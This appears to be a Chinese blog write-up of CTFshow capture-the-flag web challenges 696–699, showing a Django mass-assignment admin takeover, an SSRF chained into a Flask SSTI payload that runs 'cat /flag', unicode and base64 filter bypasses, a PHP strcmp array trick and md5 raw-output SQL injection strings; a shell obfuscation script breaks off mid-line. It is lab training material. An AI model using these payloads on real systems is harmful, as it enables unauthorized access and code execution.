CTFSHOW大赛原题篇(web696-web710)

本文档详细介绍了如何通过Web应用中的SSRF漏洞结合SSTI(模板注入)实现远程代码执行。首先,通过伪造admin用户并利用Django框架中的特性获取权限。然后,利用Web1中的SSRF访问Web2的SSTI,构造特定的JSON payload绕过过滤限制,最终达到执行系统命令获取flag的目的。此外,文中还列举了其他Web漏洞利用技巧,如数组利用、签名伪造、文件包含、命令注入等,展示了多种Web安全攻防策略。

因为题目较多,所以很多地方写的比较简略,望师傅们谅解,祝大家变得更强!

web696

下载源码是个django的框架。
web1里面的利用点很明显,存在一个ssrf
在这里插入图片描述
而在web2的app.py中存在ssti模板注入
在这里插入图片描述
所以我们的目的就是通过web1来访问web2,最终通过ssti达到rce的,目的。
在web1中我们想利用ssrf必须先得到token,也就是需要用admin登录。
在这里插入图片描述
所以我们要做的第一步就是伪造一个admin用户,在django中创建admin后,数据库中是用is_superuser进行标识的。为1代表的是管理员。
而用户注册又是将整个data数据写入了数据库。
在这里插入图片描述
所以我们注册的时候可以增加一个is_superuser参数,为了我们能访问所有admin页面,需要再加个is_staff参数
在这里插入图片描述

第一步:

POST:
http://bd2702c0-2cb5-4a00-8320-206e36106a47.challenge.ctf.show/reg/

{"username":"zzx","password":"abc","is_superuser":1,"is_staff":1}

在这里插入图片描述
注册成功并登录进后台后便能看到token的值。
在这里插入图片描述
在web2的caculator路由中,我们需要post传值,而web1中的flask_rpc函数可以帮我们首先这个目的。
在这里插入图片描述
在这里插入图片描述
捋一下思路
通过home中的ssrf来访问rpc,再通过rpc中的ssrf来访问另一台服务器上的caculator路由
大体的json如下


/home

{"url":"http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=xxxx","token":"994f639af3c57121cb756fd0bd126478"}

其中的xxx就是我们要传的带有ssti内容的json的base64。
num1和num2没有什么用,因为限制了内容只能是数字。能用的只有symbols了。
所以构造json串

{"num1":"1","num2":"1","symbols","{
  
  {x.__init__.__globals__['__builtins__'].eval('__import__(\"os\").popen(\"cat /flag\").read()')}}-"}

最后加个-是为了绕过对symbols的过滤
在这里插入图片描述
但是题目中对我们的payload做了其他限制
在这里插入图片描述
不过这都是小问题,因为我们是通过json传的,所以可以通过unicode编码绕过。

{"symbols":"\u007b\u007bx.__init__.__globals__['__builtins__'].eval('__import__(\"os\").popen(\"cat /flag\").read()')\u007d\u007d-","num1":"1","num2":"2"}

将这一串进行base64,再传给之前的data就可以了
最终payload,token需要自己改下

/home

{"url":"http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=eyJzeW1ib2xzIjoiXHUwMDdiXHUwMDdieC5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10uZXZhbCgnX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwiY2F0IC9mbGFnXCIpLnJlYWQoKScpXHUwMDdkXHUwMDdkLSIsIm51bTEiOiIxIiwibnVtMiI6IjIifQ==","token":"994f639af3c57121cb756fd0bd126478"}

有同学可能会问端口怎么来的,其实是猜的,或者爆破也可以。
然后那串ssti的payload怎么来了,具体的话可以看下之前的ssti篇ssti进阶篇

web697

进入页面提示我们传入参数NOHO
在这里插入图片描述
随便试了几下,会提示太大或太小。
虽然看不到代码但是可以猜测一下,可能是使用strcmp一类的函数进行比较,大于返回正整数,小于返回负整数,等于返回0。
所以我们要么找到提交的数和代码中待比较的数相等。要么绕过比较。
很容易想到利用数组,当我们传入的是数组时,返回的值是NULL,反正几部是正整数,也不是负整数,也和0弱等于,试了下果然可以。
?NOHO[]=
下面第二步是有个填密码的框,提交个数字后页面返回了具体的查询语句
在这里插入图片描述
出现了乱码,可能是经过某种加密了,如果是最常见的md5加密的话,我们就可以绕过了。有如下几个字符串,在经过md5加密后的十六进制是自带单引号的。

ffifdyop
e58
4611686052576742364

既然只能传数字,那我们就选择4611686052576742364
在这里插入图片描述

web698

参考文章https://blog.youkuaiyun.com/zz_Caleb/article/details/85082561
比较坑的地方是这个secret_key的长度需要一个个试,真实长度是10
无语了。。。。。
在这里插入图片描述

web699

和群主问过,确实是题目有问题,没问题的话下面的脚本就可以跑出来了。
https://tyskill.github.io/posts/i-soon2020/

import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值